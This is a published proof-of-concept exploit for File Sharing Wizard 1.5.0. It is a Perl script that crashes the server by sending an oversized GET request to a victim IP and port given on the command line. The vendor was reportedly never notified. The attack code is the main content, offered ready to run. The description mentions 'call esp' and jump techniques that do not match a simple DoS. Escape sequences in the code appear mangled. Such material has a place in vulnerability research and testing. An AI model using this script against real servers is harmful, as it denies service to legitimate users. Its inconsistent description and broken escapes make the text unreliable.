Authored by Fernando Mengali

File Sharing Wizard version 1.5.0 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: File Sharing Wizard 1.5.0 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 07 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/13fs9IHSaGQ27YIQNDyrQV20jCT7owPQ6/view?usp=sharing
# Notification vendor: No reported
# Tested Version: File Sharing Wizard 1.5.0
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# VĂ­deo: https://drive.google.com/file/d/1gPiMU0Wemdx-rxEzAPhQCyparn1JiX0j/view?usp=sharing

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... n";

my $exploit = "x41"x1360;

my $payload_header = "GET " . $exploit;
$payload_header .= " HTTP/1.0rnrn";

my $connect = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp'
) or die "Unable to connect to the victim: $!n";

$connect->send($payload_header);
close $connect;

print "[+] Done! Exploited!n";



print "[+] Done - Exploited success!!!!!nn";

sub intro {
print "#################################################################n";
print "# File Sharing Wizard 1.5.0 - Denied of Service #n";
print "# #n";
print "# Coded by Fernando Mengali #n";
print "# #n";
print "# e-mail: [email protected] #n";
print "# #n";
print "#################################################################n";
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated